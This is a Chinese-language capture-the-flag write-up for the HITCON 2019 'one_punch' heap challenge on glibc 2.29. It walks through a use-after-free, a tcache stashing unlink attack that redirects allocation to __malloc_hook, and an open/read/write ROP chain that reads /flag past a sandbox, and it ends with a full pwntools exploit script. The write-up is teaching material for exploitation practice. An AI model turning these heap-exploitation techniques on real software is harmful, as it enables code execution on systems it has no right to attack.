hitcon_ctf_2019_one_punch
遇到一个比较新的题,涉及到知识盲区,在此记录一下,libc是2.29
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位程序,依旧保护是全开,具体程序的执行流程在此不累赘,直接看存在漏洞的函数,delete函数存在uaf
void sub_1568()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]
puts_("idx: ");
v0 = my_read();
if ( v0 > 2 )
error((__int64)"invalid");
free(*((void **)&unk_4040 + 2 * v0));
}
这个题比较新的地方是add函数使用是calloc去申请堆,而不是malloc,但是在其他位置还是存在用malloc申请堆的函数,但是是被限制,需要个数大于6才能调用
__int64 sub_15BB()
{
void *buf; // [rsp+8h] [rbp-8h]
if ( *(_BYTE *)(qword_4030 + 32) <= 6 )
error((__int64)"gg");
buf = malloc(0x217uLL);
if ( !buf )
error((__int64)"err");
if ( read(0, buf, 0x217uLL) <= 0 )
error((__int64)"io");
puts("Serious Punch!!!");
puts(&unk_2128);
return puts(buf);
}
绕过这个if判断,可以向其中写进一个 main_arena地址 ,结合题目的calloc,假设我们能构造好特定的结构,比如tcache bin中是6个,small bin满足2个,当执行calloc,small bin中的chunk会被插入到tcache bin中,直到满足7个,此时向其写进一个 main_arena地址 ,具体还是得看libc-2.29的源码,其中涉及到很细节的东西, ha1vk的分析很不错(https://blog.csdn.net/seaaseesa/article/details/105870247)
下面结合本地调试
首先malloc的部分申请的堆大小是0x217,并且我们需要泄露libc等等,构建两个堆
add(0,'a'*0x218)
add(1,'b'*0x80)
泄露heap_addr和libc比较简单就不讲述了,主要就是利用uaf,我们是要构建两个small bin出来,这里我们就需要借助malloc_consolidata(大于small bin触发)。当泄露释放chunk 0的时候,此时unsorted bin大小为0x220,申请一下0x180,切割unsorted bin,剩余0x90放入small bin
add(1,'a'*0x180)
add(1,'a'*0x400)
add(2,'a'*0x100)#隔开
此时可以看到smallbins
0x90: 0x555555be63e0 —▸ 0x7f754e343d20 (main_arena+224) ◂— 0x555555be63e0
再次构造一个small bin,因为unsorted bin现在没有东西,构造一个chunk进入unsorted bin,然后切割,malloc_consolidata触发,让其切割后的部分进入small bin,这样达成两个small bin
for i in range(7):
delete(1)
edit(1,'c'*0x10)
delete(1)#unsorted bin size 0x410
add(2,0x370*'d')
add(2,0x400*'d')
smallbins
0x90: 0x555556878880 —▸ 0x5555568783e0 —▸ 0x7fef97642d20 (main_arena+224) ◂— 0x555556878880
修改倒数第二个chunk的bk
fd = heap_addr+0x180
bk = heap_addr-0x260+0x20
payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk)
edit(1,payload)
此时,目标地址因为被写进small bin的地址。看一下数据
0x5555568e7870: 0x6565656565656565 0x6565656565656565
0x5555568e7880: 0x0000000000000000 0x0000000000000091
0x5555568e7890: 0x00005555568e73e0 0x00005555568e7020
0x5555568e78a0: 0x6161616161616161 0x6161616161616161
0x5555568e78b0: 0x6161616161616161 0x6161616161616161
0x5555568e78c0: 0x6161616161616161 0x6161616161616161
0x5555568e78d0: 0x6161616161616161 0x6161616161616161
0x5555568e78e0: 0x6161616161616161 0x6161616161616161
0x5555568e78f0: 0x6161616161616161 0x6161616161616161
0x5555568e7900: 0x6161616161616161 0x0061616161616161
这里的bk我们写进了0x00005555568e7020,看一下tcache bin
0x90 [ 6]: 0x555557413480
在Tcache Stashing Unlink Attack时,会从small bin里取chunk到tcache bin,
直到tcache bin填满,因此我们申请add一个,再看tcache bin
add(1,'a'*0x80)
tcache bin如下
0x90 [ 7]: 0x5555572f5890 —▸ 0x5555572f5480
可见原本small bin的chunk被加入tcache bin,接下来将malloc_hook连入链表
edit(0,p64(malloc_hook))
这样0x220大小的chunk,就形成链
0x220 [ 32]: 0x55555672a260 —▸ 0x7f7a5447ac30 (__malloc_hook) ◂— 0x0
malloc('/flag\x00')
0x220 [ 31]: 0x7fc2fbcabc30 (__malloc_hook) ◂— 0x0
下次申请的时候,在malloc_hook的地方写进shellcode即可,但是这个题开启了沙箱,只能通过orw来读取flag,构造一下
add_rsp = libc_base+0x8CFD6
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0x10D022
rop = p64(pop_rdi)+p64(heap_addr)
rop += p64(pop_rsi)+p64(0)
rop += p64(pop_rax)+p64(2)
rop += p64(syscall)
#read 3
read = libc_base+libc.sym['read']
rop += p64(pop_rdi)+p64(3)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(read)
#write 1
write = libc_base+libc.sym['write']
rop += p64(pop_rdi)+p64(1)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(write)
完整的exp如下
from pwn import *
context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/ld-2.29.so','./hitcon_ctf_2019_one_punch'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so'})
libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
#r = remote('node4.buuoj.cn',29390)
#libc = ELF('./buu64_libc-2.29.so')
def menu(choice):
r.recvuntil('> ')
r.sendline(str(choice))
def add(idx,content):
menu(1)
r.recvuntil('idx: ')
r.sendline(str(idx))
r.recvuntil('hero name: ')
r.send(content)
def edit(idx,content):
menu(2)
r.recvuntil('idx: ')
r.sendline(str(idx))
r.recvuntil('hero name: ')
r.send(content)
def show(idx):
menu(3)
r.recvuntil('idx: ')
r.sendline(str(idx))
def delete(idx):
menu(4)
r.recvuntil('idx: ')
r.sendline(str(idx))
def punch(content):
menu(50056)
r.send(content)
add(0,'a'*0x218)
add(1,'b'*0x80)
for i in range(6):
delete(1)
edit(1,'b'*0x10)
for i in range(6):
delete(0)
edit(0,'a'*0x10)
delete(0)
show(0)
r.recvuntil('hero name: ')
heap_addr = u64(r.recv(6).ljust(8,'\x00'))
print('heap_addr',hex(heap_addr))
edit(0,'a'*0x10)
delete(0)
show(0)
r.recvuntil('hero name: ')
libc_base = u64(r.recv(6).ljust(8,'\x00'))-0x1e4ca0
print(hex(libc_base))
add(1,'a'*0x180)
add(1,'a'*0x400)
add(2,'a'*0x100)
for i in range(7):
delete(1)
edit(1,'c'*0x10)
delete(1)
add(2,0x370*'d')
add(2,0x400*'d')
fd = heap_addr+0x180
bk = heap_addr-0x260+0x20
payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk)
edit(1,payload)
add(1,'f'*0x80)
malloc_hook = libc_base+libc.sym['__malloc_hook']
print('malloc_hook',hex(malloc_hook))
edit(0,p64(malloc_hook))
punch('/flag\x00')
add_rsp = libc_base+0x8CFD6
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0x10D022
rop = p64(pop_rdi)+p64(heap_addr)
rop += p64(pop_rsi)+p64(0)
rop += p64(pop_rax)+p64(2)
rop += p64(syscall)
#read 3
read = libc_base+libc.sym['read']
rop += p64(pop_rdi)+p64(3)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(read)
#write 1
write = libc_base+libc.sym['write']
rop += p64(pop_rdi)+p64(1)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(write)
punch(p64(add_rsp))
add(1,rop)
gdb.attach(r)
r.interactive()
参考:https://www.cnblogs.com/countfatcode/p/13052724.html